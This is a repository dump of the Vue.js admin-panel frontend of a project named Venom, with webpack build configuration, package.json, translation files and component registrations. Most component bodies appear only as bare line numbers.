sourceMapEnabled = isProduction 6 | ? config.build.productionSourceMap 7 | : config.dev.cssSourceMap 8 | 9 | module.exports = { 10 | loaders: utils.cssLoaders({ 11 | sourceMap: sourceMapEnabled, 12 | extract: isProduction 13 | }), 14 | cssSourceMap: sourceMapEnabled, 15 | cacheBusting: config.dev.cacheBusting, 16 | transformToRequire: { 17 | video: ['src', 'poster'], 18 | source: 'src', 19 | img: 'src', 20 | image: 'xlink:href' 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /vue-static/build/webpack.base.conf.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | const path = require('path') 3 | const utils = require('./utils') 4 | const config = require('../config') 5 | const vueLoaderConfig = require('./vue-loader.conf') 6 | 7 | function resolve (dir) { 8 | return path.join(__dirname, '..', dir) 9 | } 10 | 11 | 12 | 13 | module.exports = { 14 | context: path.resolve(__dirname, '../'), 15 | entry: { 16 | app: './src/main.js' 17 | }, 18 | output: { 19 | path: config.build.assetsRoot, 20 | filename: '[name].js', 21 | publicPath: process.env.NODE_ENV === 'production' 22 | ? config.build.assetsPublicPath 23 | : config.dev.assetsPublicPath 24 | }, 25 | resolve: { 26 | extensions: ['.js', '.vue', '.json'], 27 | alias: { 28 | 'vue$': 'vue/dist/vue.esm.js', 29 | '@': resolve('src'), 30 | } 31 | }, 32 | module: { 33 | rules: [ 34 | { 35 | test: /\.vue$/, 36 | loader: 'vue-loader', 37 | options: vueLoaderConfig 38 | }, 39 | { 40 | test: /\.js$/, 41 | loader: 'babel-loader', 42 | include: [resolve('src'), resolve('test'), resolve('node_modules/webpack-dev-server/client')] 43 | }, 44 | { 45 | test: /\.(png|jpe?g|gif|svg)(\?.*)?$/, 46 | loader: 'url-loader', 47 | options: { 48 | limit: 10000, 49 | name: utils.assetsPath('img/[name].[hash:7].[ext]') 50 | } 51 | }, 52 | { 53 | test: /\.(mp4|webm|ogg|mp3|wav|flac|aac)(\?.*)?$/, 54 | loader: 'url-loader', 55 | options: { 56 | limit: 10000, 57 | name: utils.assetsPath('media/[name].[hash:7].[ext]') 58 | } 59 | }, 60 | { 61 | test: /\.(woff2?|eot|ttf|otf)(\?.*)?$/, 62 | loader: 'url-loader', 63 | options: { 64 | limit: 10000, 65 | name: utils.assetsPath('fonts/[name].[hash:7].[ext]') 66 | } 67 | } 68 | ] 69 | }, 70 | node: { 71 | // prevent webpack from injecting useless setImmediate polyfill because Vue 72 | // source contains it (although only uses it if it's native). 73 | setImmediate: false, 74 | // prevent webpack from injecting mocks to Node native modules 75 | // that does not make sense for the client 76 | dgram: 'empty', 77 | fs: 'empty', 78 | net: 'empty', 79 | tls: 'empty', 80 | child_process: 'empty' 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /vue-static/build/webpack.dev.conf.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | const utils = require('./utils') 3 | const webpack = require('webpack') 4 | const config = require('../config') 5 | const merge = require('webpack-merge') 6 | const path = require('path') 7 | const baseWebpackConfig = require('./webpack.base.conf') 8 | const CopyWebpackPlugin = require('copy-webpack-plugin') 9 | const HtmlWebpackPlugin = require('html-webpack-plugin') 10 | const FriendlyErrorsPlugin = require('friendly-errors-webpack-plugin') 11 | const portfinder = require('portfinder') 12 | 13 | const HOST = process.env.HOST 14 | const PORT = process.env.PORT && Number(process.env.PORT) 15 | 16 | const devWebpackConfig = merge(baseWebpackConfig, { 17 | module: { 18 | rules: utils.styleLoaders({ sourceMap: config.dev.cssSourceMap, usePostCSS: true }) 19 | }, 20 | // cheap-module-eval-source-map is faster for development 21 | devtool: config.dev.devtool, 22 | 23 | // these devServer options should be customized in /config/index.js 24 | devServer: { 25 | clientLogLevel: 'warning', 26 | historyApiFallback: { 27 | rewrites: [ 28 | { from: /.*/, to: path.posix.join(config.dev.assetsPublicPath, 'index.html') }, 29 | ], 30 | }, 31 | hot: true, 32 | contentBase: false, // since we use CopyWebpackPlugin. 33 | compress: true, 34 | host: HOST || config.dev.host, 35 | port: PORT || config.dev.port, 36 | open: config.dev.autoOpenBrowser, 37 | overlay: config.dev.errorOverlay 38 | ? { warnings: false, errors: true } 39 | : false, 40 | publicPath: config.dev.assetsPublicPath, 41 | proxy: config.dev.proxyTable, 42 | quiet: true, // necessary for FriendlyErrorsPlugin 43 | watchOptions: { 44 | poll: config.dev.poll, 45 | } 46 | }, 47 | plugins: [ 48 | new webpack.DefinePlugin({ 49 | 'process.env': require('../config/dev.env') 50 | }), 51 | new webpack.HotModuleReplacementPlugin(), 52 | new webpack.NamedModulesPlugin(), // HMR shows correct file names in console on update. 53 | new webpack.NoEmitOnErrorsPlugin(), 54 | // https://github.com/ampedandwired/html-webpack-plugin 55 | new HtmlWebpackPlugin({ 56 | filename: 'index.html', 57 | template: 'index.html', 58 | inject: true 59 | }), 60 | // copy custom static assets 61 | new CopyWebpackPlugin([ 62 | { 63 | from: path.resolve(__dirname, '../static'), 64 | to: config.dev.assetsSubDirectory, 65 | ignore: ['.*'] 66 | } 67 | ]) 68 | ] 69 | }) 70 | 71 | module.exports = new Promise((resolve, reject) => { 72 | portfinder.basePort = process.env.PORT || config.dev.port 73 | portfinder.getPort((err, port) => { 74 | if (err) { 75 | reject(err) 76 | } else { 77 | // publish the new Port, necessary for e2e tests 78 | process.env.PORT = port 79 | // add port to devServer config 80 | devWebpackConfig.devServer.port = port 81 | 82 | // Add FriendlyErrorsPlugin 83 | devWebpackConfig.plugins.push(new FriendlyErrorsPlugin({ 84 | compilationSuccessInfo: { 85 | messages: [`Your application is running here: http://${devWebpackConfig.devServer.host}:${port}`], 86 | }, 87 | onErrors: config.dev.notifyOnErrors 88 | ? utils.createNotifierCallback() 89 | : undefined 90 | })) 91 | 92 | resolve(devWebpackConfig) 93 | } 94 | }) 95 | }) 96 | -------------------------------------------------------------------------------- /vue-static/build/webpack.prod.conf.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | const path = require('path') 3 | const utils = require('./utils') 4 | const webpack = require('webpack') 5 | const config = require('../config') 6 | const merge = require('webpack-merge') 7 | const baseWebpackConfig = require('./webpack.base.conf') 8 | const CopyWebpackPlugin = require('copy-webpack-plugin') 9 | const HtmlWebpackPlugin = require('html-webpack-plugin') 10 | const ExtractTextPlugin = require('extract-text-webpack-plugin') 11 | const OptimizeCSSPlugin = require('optimize-css-assets-webpack-plugin') 12 | const UglifyJsPlugin = require('uglifyjs-webpack-plugin') 13 | 14 | const env = require('../config/prod.env') 15 | 16 | const webpackConfig = merge(baseWebpackConfig, { 17 | module: { 18 | rules: utils.styleLoaders({ 19 | sourceMap: config.build.productionSourceMap, 20 | extract: true, 21 | usePostCSS: true 22 | }) 23 | }, 24 | devtool: config.build.productionSourceMap ? config.build.devtool : false, 25 | output: { 26 | path: config.build.assetsRoot, 27 | filename: utils.assetsPath('js/[name].[chunkhash].js'), 28 | chunkFilename: utils.assetsPath('js/[id].[chunkhash].js') 29 | }, 30 | plugins: [ 31 | // http://vuejs.github.io/vue-loader/en/workflow/production.html 32 | new webpack.DefinePlugin({ 33 | 'process.env': env 34 | }), 35 | new UglifyJsPlugin({ 36 | uglifyOptions: { 37 | compress: { 38 | warnings: false 39 | } 40 | }, 41 | sourceMap: config.build.productionSourceMap, 42 | parallel: true 43 | }), 44 | // extract css into its own file 45 | new ExtractTextPlugin({ 46 | filename: utils.assetsPath('css/[name].[contenthash].css'), 47 | // Setting the following option to `false` will not extract CSS from codesplit chunks. 48 | // Their CSS will instead be inserted dynamically with style-loader when the codesplit chunk has been loaded by webpack. 49 | // It's currently set to `true` because we are seeing that sourcemaps are included in the codesplit bundle as well when it's `false`, 50 | // increasing file size: https://github.com/vuejs-templates/webpack/issues/1110 51 | allChunks: true, 52 | }), 53 | // Compress extracted CSS. We are using this plugin so that possible 54 | // duplicated CSS from different components can be deduped. 55 | new OptimizeCSSPlugin({ 56 | cssProcessorOptions: config.build.productionSourceMap 57 | ? { safe: true, map: { inline: false } } 58 | : { safe: true } 59 | }), 60 | // generate dist index.html with correct asset hash for caching. 61 | // you can customize output by editing /index.html 62 | // see https://github.com/ampedandwired/html-webpack-plugin 63 | new HtmlWebpackPlugin({ 64 | filename: config.build.index, 65 | template: 'index.html', 66 | inject: true, 67 | minify: { 68 | removeComments: true, 69 | collapseWhitespace: true, 70 | removeAttributeQuotes: true 71 | // more options: 72 | // https://github.com/kangax/html-minifier#options-quick-reference 73 | }, 74 | // necessary to consistently work with multiple chunks via CommonsChunkPlugin 75 | chunksSortMode: 'dependency' 76 | }), 77 | // keep module.id stable when vendor modules does not change 78 | new webpack.HashedModuleIdsPlugin(), 79 | // enable scope hoisting 80 | new webpack.optimize.ModuleConcatenationPlugin(), 81 | // split vendor js into its own file 82 | new webpack.optimize.CommonsChunkPlugin({ 83 | name: 'vendor', 84 | minChunks (module) { 85 | // any required modules inside node_modules are extracted to vendor 86 | return ( 87 | module.resource && 88 | /\.js$/.test(module.resource) && 89 | module.resource.indexOf( 90 | path.join(__dirname, '../node_modules') 91 | ) === 0 92 | ) 93 | } 94 | }), 95 | // extract webpack runtime and module manifest to its own file in order to 96 | // prevent vendor hash from being updated whenever app bundle is updated 97 | new webpack.optimize.CommonsChunkPlugin({ 98 | name: 'manifest', 99 | minChunks: Infinity 100 | }), 101 | // This instance extracts shared chunks from code splitted chunks and bundles them 102 | // in a separate chunk, similar to the vendor chunk 103 | // see: https://webpack.js.org/plugins/commons-chunk-plugin/#extra-async-commons-chunk 104 | new webpack.optimize.CommonsChunkPlugin({ 105 | name: 'app', 106 | async: 'vendor-async', 107 | children: true, 108 | minChunks: 3 109 | }), 110 | 111 | // copy custom static assets 112 | new CopyWebpackPlugin([ 113 | { 114 | from: path.resolve(__dirname, '../static'), 115 | to: config.build.assetsSubDirectory, 116 | ignore: ['.*'] 117 | } 118 | ]) 119 | ] 120 | }) 121 | 122 | if (config.build.productionGzip) { 123 | const CompressionWebpackPlugin = require('compression-webpack-plugin') 124 | 125 | webpackConfig.plugins.push( 126 | new CompressionWebpackPlugin({ 127 | asset: '[path].gz[query]', 128 | algorithm: 'gzip', 129 | test: new RegExp( 130 | '\\.(' + 131 | config.build.productionGzipExtensions.join('|') + 132 | ')$' 133 | ), 134 | threshold: 10240, 135 | minRatio: 0.8 136 | }) 137 | ) 138 | } 139 | 140 | if (config.build.bundleAnalyzerReport) { 141 | const BundleAnalyzerPlugin = require('webpack-bundle-analyzer').BundleAnalyzerPlugin 142 | webpackConfig.plugins.push(new BundleAnalyzerPlugin()) 143 | } 144 | 145 | module.exports = webpackConfig 146 | -------------------------------------------------------------------------------- /vue-static/config/dev.env.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | const merge = require('webpack-merge') 3 | const prodEnv = require('./prod.env') 4 | 5 | module.exports = merge(prodEnv, { 6 | NODE_ENV: '"development"' 7 | }) 8 | -------------------------------------------------------------------------------- /vue-static/config/index.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | // Template version: 1.3.1 3 | // see http://vuejs-templates.github.io/webpack for documentation. 4 | 5 | const path = require('path') 6 | 7 | module.exports = { 8 | dev: { 9 | 10 | // Paths 11 | assetsSubDirectory: 'static', 12 | assetsPublicPath: '/', 13 | proxyTable: {}, 14 | 15 | // Various Dev Server settings 16 | host: 'localhost', // can be overwritten by process.env.HOST 17 | port: 8080, // can be overwritten by process.env.PORT, if port is in use, a free one will be determined 18 | autoOpenBrowser: false, 19 | errorOverlay: true, 20 | notifyOnErrors: true, 21 | poll: false, // https://webpack.js.org/configuration/dev-server/#devserver-watchoptions- 22 | 23 | 24 | /** 25 | * Source Maps 26 | */ 27 | 28 | // https://webpack.js.org/configuration/devtool/#development 29 | devtool: 'cheap-module-eval-source-map', 30 | 31 | // If you have problems debugging vue-files in devtools, 32 | // set this to false - it *may* help 33 | // https://vue-loader.vuejs.org/en/options.html#cachebusting 34 | cacheBusting: true, 35 | 36 | cssSourceMap: true 37 | }, 38 | 39 | build: { 40 | // Template for index.html 41 | index: path.resolve(__dirname, '../../templates/index.html'), 42 | 43 | // Paths 44 | assetsRoot: path.resolve(__dirname, '../../static/app'), 45 | assetsSubDirectory: '', 46 | assetsPublicPath: '/static/app', 47 | 48 | /** 49 | * Source Maps 50 | */ 51 | 52 | productionSourceMap: true, 53 | // https://webpack.js.org/configuration/devtool/#production 54 | devtool: '#source-map', 55 | 56 | // Gzip off by default as many popular static hosts such as 57 | // Surge or Netlify already gzip all static assets for you. 58 | // Before setting to `true`, make sure to: 59 | // npm install --save-dev compression-webpack-plugin 60 | productionGzip: false, 61 | productionGzipExtensions: ['js', 'css'], 62 | 63 | // Run the build command with an extra argument to 64 | // View the bundle analyzer report after build finishes: 65 | // `npm run build --report` 66 | // Set to `true` or `false` to always turn it on or off 67 | bundleAnalyzerReport: process.env.npm_config_report 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /vue-static/config/prod.env.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | module.exports = { 3 | NODE_ENV: '"production"' 4 | } 5 | -------------------------------------------------------------------------------- /vue-static/docs/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | Vue Admin Template 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /vue-static/docs/static/fonts/MaterialIcons-Regular.016c14a.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/docs/static/fonts/MaterialIcons-Regular.016c14a.eot -------------------------------------------------------------------------------- /vue-static/docs/static/fonts/MaterialIcons-Regular.55242ea.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/docs/static/fonts/MaterialIcons-Regular.55242ea.ttf -------------------------------------------------------------------------------- /vue-static/docs/static/fonts/MaterialIcons-Regular.8a9a261.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/docs/static/fonts/MaterialIcons-Regular.8a9a261.woff2 -------------------------------------------------------------------------------- /vue-static/docs/static/fonts/MaterialIcons-Regular.c38ebd3.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/docs/static/fonts/MaterialIcons-Regular.c38ebd3.woff -------------------------------------------------------------------------------- /vue-static/docs/static/fonts/fontawesome-webfont.674f50d.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/docs/static/fonts/fontawesome-webfont.674f50d.eot -------------------------------------------------------------------------------- /vue-static/docs/static/fonts/fontawesome-webfont.af7ae50.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/docs/static/fonts/fontawesome-webfont.af7ae50.woff2 -------------------------------------------------------------------------------- /vue-static/docs/static/fonts/fontawesome-webfont.b06871f.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/docs/static/fonts/fontawesome-webfont.b06871f.ttf -------------------------------------------------------------------------------- /vue-static/docs/static/fonts/fontawesome-webfont.fee66e7.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/docs/static/fonts/fontawesome-webfont.fee66e7.woff -------------------------------------------------------------------------------- /vue-static/docs/static/js/manifest.2ae2e69a05c33dfc65f8.js: -------------------------------------------------------------------------------- 1 | !function(r){var n=window.webpackJsonp;window.webpackJsonp=function(e,u,c){for(var f,i,p,a=0,l=[];a 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | Venom 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /vue-static/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "vue-admin-panel", 3 | "version": "1.0.0", 4 | "description": "An Admin Panel with Vue.js", 5 | "author": "unlu.fa@gmail.com", 6 | "private": true, 7 | "scripts": { 8 | "dev": "webpack-dev-server --inline --progress --config build/webpack.dev.conf.js", 9 | "start": "npm run dev", 10 | "build": "node build/build.js" 11 | }, 12 | "dependencies": { 13 | "axios": "^0.18.1", 14 | "font-awesome": "^4.7.0", 15 | "material-design-icons-iconfont": "^4.0.5", 16 | "prismjs": "^1.28.0", 17 | "vue": "^2.5.2", 18 | "vue-async-computed": "^3.9.0", 19 | "vue-axios": "^2.1.4", 20 | "vue-command": "^23.0.1", 21 | "vue-fullcalendar": "^1.0.9", 22 | "vue-i18n": "^8.18.2", 23 | "vue-router": "^3.0.1", 24 | "vue-simple-alert": "^1.1.1", 25 | "vue-swatches": "^1.0.2", 26 | "vuelidate": "^0.7.7", 27 | "vuetify": "^1.3.11" 28 | }, 29 | "devDependencies": { 30 | "autoprefixer": "^7.1.2", 31 | "babel-core": "^6.22.1", 32 | "babel-helper-vue-jsx-merge-props": "^2.0.3", 33 | "babel-loader": "^7.1.1", 34 | "babel-plugin-syntax-jsx": "^6.18.0", 35 | "babel-plugin-transform-runtime": "^6.22.0", 36 | "babel-plugin-transform-vue-jsx": "^3.5.0", 37 | "babel-preset-env": "^1.3.2", 38 | "babel-preset-stage-2": "^6.22.0", 39 | "chalk": "^2.0.1", 40 | "chart.js": "^2.7.3", 41 | "copy-webpack-plugin": "^4.0.1", 42 | "css-loader": "^0.28.0", 43 | "extract-text-webpack-plugin": "^3.0.0", 44 | "file-loader": "^1.1.4", 45 | "friendly-errors-webpack-plugin": "^1.6.1", 46 | "html-webpack-plugin": "^2.30.1", 47 | "node-notifier": "^5.1.2", 48 | "optimize-css-assets-webpack-plugin": "^3.2.0", 49 | "ora": "^1.2.0", 50 | "portfinder": "^1.0.13", 51 | "postcss-import": "^11.0.0", 52 | "postcss-loader": "^2.0.8", 53 | "postcss-url": "^7.2.1", 54 | "rimraf": "^2.6.0", 55 | "semver": "^5.3.0", 56 | "shelljs": "^0.7.6", 57 | "uglifyjs-webpack-plugin": "^1.1.1", 58 | "url-loader": "^0.5.8", 59 | "vue-chartkick": "^0.5.0", 60 | "vue-loader": "^13.3.0", 61 | "vue-style-loader": "^3.0.1", 62 | "vue-template-compiler": "^2.5.2", 63 | "webpack": "^3.6.0", 64 | "webpack-bundle-analyzer": "^2.9.0", 65 | "webpack-dev-server": "^2.9.1", 66 | "webpack-merge": "^4.1.0" 67 | }, 68 | "engines": { 69 | "node": ">= 6.0.0", 70 | "npm": ">= 3.0.0" 71 | }, 72 | "browserslist": [ 73 | "> 1%", 74 | "last 2 versions", 75 | "not ie <= 8" 76 | ] 77 | } 78 | -------------------------------------------------------------------------------- /vue-static/src/App.vue: -------------------------------------------------------------------------------- 1 | 25 | 26 | 36 | 37 | 42 | -------------------------------------------------------------------------------- /vue-static/src/assets/flags/ch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/src/assets/flags/ch.png -------------------------------------------------------------------------------- /vue-static/src/assets/flags/de.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/src/assets/flags/de.png -------------------------------------------------------------------------------- /vue-static/src/assets/flags/en.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/src/assets/flags/en.png -------------------------------------------------------------------------------- /vue-static/src/assets/flags/fr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/src/assets/flags/fr.png -------------------------------------------------------------------------------- /vue-static/src/assets/flags/ja.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/src/assets/flags/ja.png -------------------------------------------------------------------------------- /vue-static/src/assets/flags/tr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/src/assets/flags/tr.png -------------------------------------------------------------------------------- /vue-static/src/assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/J0LGER/Venom/64d3183973834ff27dc4c639904380136063d49b/vue-static/src/assets/logo.png -------------------------------------------------------------------------------- /vue-static/src/components/Carousel.vue: -------------------------------------------------------------------------------- 1 | 20 | 21 | 43 | 44 | 50 | -------------------------------------------------------------------------------- /vue-static/src/components/DataTable.vue: -------------------------------------------------------------------------------- 1 | 20 | 21 | 70 | 71 | -------------------------------------------------------------------------------- /vue-static/src/components/SocialWidget.vue: -------------------------------------------------------------------------------- 1 | 43 | 44 | 128 | 129 | 132 | -------------------------------------------------------------------------------- /vue-static/src/components/Statistic.vue: -------------------------------------------------------------------------------- 1 | 8 | 9 | 18 | 19 | 22 | -------------------------------------------------------------------------------- /vue-static/src/components/Stepper.vue: -------------------------------------------------------------------------------- 1 | 106 | 107 | 149 | 150 | 152 | -------------------------------------------------------------------------------- /vue-static/src/components/TimeLine.vue: -------------------------------------------------------------------------------- 1 | 24 | 25 | 56 | 57 | 65 | -------------------------------------------------------------------------------- /vue-static/src/components/UserTreeView.vue: -------------------------------------------------------------------------------- 1 | 79 | 80 | 135 | 136 | 139 | -------------------------------------------------------------------------------- /vue-static/src/components/VenomShell.vue: -------------------------------------------------------------------------------- 1 | 43 | 44 | 228 | 229 | -------------------------------------------------------------------------------- /vue-static/src/components/Widget.vue: -------------------------------------------------------------------------------- 1 | 21 | 22 | 58 | 59 | 66 | -------------------------------------------------------------------------------- /vue-static/src/components/core/Breadcrumbs.vue: -------------------------------------------------------------------------------- 1 | 8 | 9 | 40 | 41 | 53 | -------------------------------------------------------------------------------- /vue-static/src/components/core/NavigationDrawer.vue: -------------------------------------------------------------------------------- 1 | 44 | 45 | 72 | 73 | 98 | -------------------------------------------------------------------------------- /vue-static/src/components/core/PageFooter.vue: -------------------------------------------------------------------------------- 1 | 30 | 31 | 46 | 47 | 50 | -------------------------------------------------------------------------------- /vue-static/src/components/core/Toolbar.vue: -------------------------------------------------------------------------------- 1 | 168 | 322 | -------------------------------------------------------------------------------- /vue-static/src/components/statistics/LocationStatistic.vue: -------------------------------------------------------------------------------- 1 | 8 | 9 | 18 | 19 | 28 | -------------------------------------------------------------------------------- /vue-static/src/components/statistics/SiteViewStatistic.vue: -------------------------------------------------------------------------------- 1 | 8 | 9 | 27 | 28 | 37 | -------------------------------------------------------------------------------- /vue-static/src/components/statistics/TotalEarningsStatistic.vue: -------------------------------------------------------------------------------- 1 | 8 | 9 | 25 | 26 | 35 | -------------------------------------------------------------------------------- /vue-static/src/config/setup-components.js: -------------------------------------------------------------------------------- 1 | // Core Components 2 | import Toolbar from '../components/core/Toolbar.vue'; 3 | import Navigation from '../components/core/NavigationDrawer.vue'; 4 | import Breadcrumbs from '../components/core/Breadcrumbs.vue'; 5 | import PageFooter from '../components/core/PageFooter.vue'; 6 | import Widget from '../components/Widget.vue'; 7 | import SocialWidget from '../components/SocialWidget.vue'; 8 | import DataTable from '../components/DataTable.vue'; 9 | import TimeLine from '../components/TimeLine.vue'; 10 | import UserTreeView from '../components/UserTreeView.vue'; 11 | import Stepper from '../components/Stepper.vue'; 12 | import LocationStatistic from '../components/statistics/LocationStatistic.vue'; 13 | import SiteViewStatistic from '../components/statistics/SiteViewStatistic.vue'; 14 | import TotalEarningsStatistic from '../components/statistics/TotalEarningsStatistic.vue'; 15 | import VenomShell from '../components/VenomShell.vue'; 16 | 17 | function setupComponents(Vue){ 18 | 19 | Vue.component('toolbar', Toolbar); 20 | Vue.component('navigation', Navigation); 21 | Vue.component('breadcrumbs', Breadcrumbs); 22 | Vue.component('page-footer', PageFooter); 23 | Vue.component('widget', Widget); 24 | Vue.component('social-widget', SocialWidget); 25 | Vue.component('data-table', DataTable); 26 | Vue.component('time-line', TimeLine); 27 | Vue.component('user-tree-view', UserTreeView); 28 | Vue.component('stepper', Stepper); 29 | Vue.component('location-statistic', LocationStatistic); 30 | Vue.component('site-view-statistic', SiteViewStatistic); 31 | Vue.component('total-earnings-statistic', TotalEarningsStatistic); 32 | Vue.component('v-shell', VenomShell); 33 | } 34 | 35 | export { 36 | setupComponents 37 | } 38 | -------------------------------------------------------------------------------- /vue-static/src/config/setup-i18n.js: -------------------------------------------------------------------------------- 1 | import VueI18n from 'vue-i18n'; 2 | 3 | export function setupAndGetI18n(Vue, isProduction) { 4 | Vue.use(VueI18n); 5 | 6 | const i18n = new VueI18n({ 7 | locale: 'en', 8 | fallbackLocale: 'en', 9 | fallbackRoot: false, 10 | silentTranslationWarn: true, 11 | 12 | missing(locale, key, vm) { 13 | // TODO 14 | return key; 15 | } 16 | }); 17 | 18 | i18n.setLocaleMessage('en', require('../../src/i18n/en.json')); 19 | i18n.setLocaleMessage('tr', require('../../src/i18n/tr.json')); 20 | i18n.setLocaleMessage('fr', require('../../src/i18n/fr.json')); 21 | i18n.setLocaleMessage('de', require('../../src/i18n/de.json')); 22 | i18n.setLocaleMessage('ja', require('../../src/i18n/ja.json')); 23 | i18n.setLocaleMessage('ch', require('../../src/i18n/ch.json')); 24 | 25 | return i18n; 26 | } 27 | -------------------------------------------------------------------------------- /vue-static/src/i18n/ch.json: -------------------------------------------------------------------------------- 1 | { 2 | "dashboard": "仪表板", 3 | "search": "搜索", 4 | "calendar": "日历", 5 | "mailbox": "邮箱", 6 | "widgets": "小部件", 7 | "social": "社会的", 8 | "charts": "图表", 9 | "media": "媒体", 10 | "overlays": "叠加层", 11 | "snackbar": "小吃店", 12 | "authorization": "授权书", 13 | "login": "登录", 14 | "users": "用户数" 15 | } 16 | -------------------------------------------------------------------------------- /vue-static/src/i18n/de.json: -------------------------------------------------------------------------------- 1 | { 2 | "dashboard": "Instrumententafel", 3 | "search": "Suche", 4 | "calendar": "Kalender", 5 | "mailbox": "Briefkasten", 6 | "widgets": "Widgets", 7 | "social": "Sozial", 8 | "charts": "Diagramme", 9 | "media": "Medien", 10 | "overlays": "Überlagerungen", 11 | "snackbar": "Imbissbude", 12 | "authorization": "Genehmigung", 13 | "login": "Anmeldung", 14 | "users": "Benutzer" 15 | } 16 | -------------------------------------------------------------------------------- /vue-static/src/i18n/en.json: -------------------------------------------------------------------------------- 1 | { 2 | "dashboard": "Dashboard", 3 | "search": "Search", 4 | "calendar": "Calendar", 5 | "mailbox": "Mailbox", 6 | "widgets": "Widgets", 7 | "social": "Social", 8 | "charts": "Charts", 9 | "media": "Media", 10 | "overlays": "Overlays", 11 | "snackbar": "Snackbar", 12 | "authorization": "Authorization", 13 | "login": "Login", 14 | "users": "Users", 15 | "widgetTodaysVisit": "Today's Visit", 16 | "widgetTodaysSale": "Today's Sales", 17 | "widgetUniqueVisits": "% Unique Visits", 18 | "widgetBounceRate": "Bounce Rate", 19 | "widgetHigherYesterday": "{0} higher yesterday", 20 | "widgetBeforeTax": "{0} before tax", 21 | "widgetAverageDuration": "{0} average duration", 22 | "widgetAverageTime": "{0} on average time" 23 | } 24 | -------------------------------------------------------------------------------- /vue-static/src/i18n/fr.json: -------------------------------------------------------------------------------- 1 | { 2 | "dashboard": "Tableau de bord", 3 | "search": "Chercher", 4 | "calendar": "Calendrier", 5 | "mailbox": "Boites aux lettres", 6 | "widgets": "Widgets", 7 | "social": "Social", 8 | "charts": "Graphiques", 9 | "media": "Médias", 10 | "overlays": "Superpositions", 11 | "snackbar": "Snackbar", 12 | "authorization": "Autorisation", 13 | "login": "S'identifier", 14 | "users": "Utilisateurs" 15 | } 16 | -------------------------------------------------------------------------------- /vue-static/src/i18n/ja.json: -------------------------------------------------------------------------------- 1 | { 2 | "dashboard": "ダッシュボード", 3 | "search": "探す", 4 | "calendar": "カレンダー", 5 | "mailbox": "メールボックス", 6 | "widgets": "ウィジェット", 7 | "social": "ソーシャル", 8 | "charts": "チャート", 9 | "media": "メディア", 10 | "overlays": "オーバーレイ", 11 | "snackbar": "スナックバー", 12 | "authorization": "認可", 13 | "login": "ログインする", 14 | "users": "ユーザー" 15 | } 16 | -------------------------------------------------------------------------------- /vue-static/src/i18n/tr.json: -------------------------------------------------------------------------------- 1 | { 2 | "dashboard": "Gösterge Paneli", 3 | "search": "Ara", 4 | "calendar": "Takvim", 5 | "mailbox": "Mail", 6 | "widgets": "Araçlar", 7 | "social": "Sosyal", 8 | "charts": "Grafikler", 9 | "media": "Medya", 10 | "overlays": "Ekran Ayarları", 11 | "snackbar": "Gösterge", 12 | "authorization": "Yetki", 13 | "login": "Giriş", 14 | "users": "Kullanıcılar", 15 | "widgetTodaysVisit": "Bugün ki Ziyaret", 16 | "widgetTodaysSale": "Bugünki Satış", 17 | "widgetUniqueVisits": "% Ziyaretci", 18 | "widgetBounceRate": "Sıçrama Oranı", 19 | "widgetHigherYesterday": "dün {0} daha yüksek", 20 | "widgetBeforeTax": "{0} vergi öncesi", 21 | "widgetAverageDuration": "{0} ortalama süre", 22 | "widgetAverageTime": "{0} ortalama süre" 23 | } 24 | -------------------------------------------------------------------------------- /vue-static/src/main.js: -------------------------------------------------------------------------------- 1 | // The Vue build version to load with the `import` command 2 | // (runtime-only or standalone) has been set in webpack.base.conf with an alias. 3 | import Vue from 'vue'; 4 | import App from './App'; 5 | import router from './router'; 6 | 7 | import 'vuetify/dist/vuetify.min.css'; 8 | import 'font-awesome/css/font-awesome.css'; 9 | 10 | import Vuetify from 'vuetify'; 11 | 12 | import 'material-design-icons-iconfont/dist/material-design-icons.css'; 13 | import 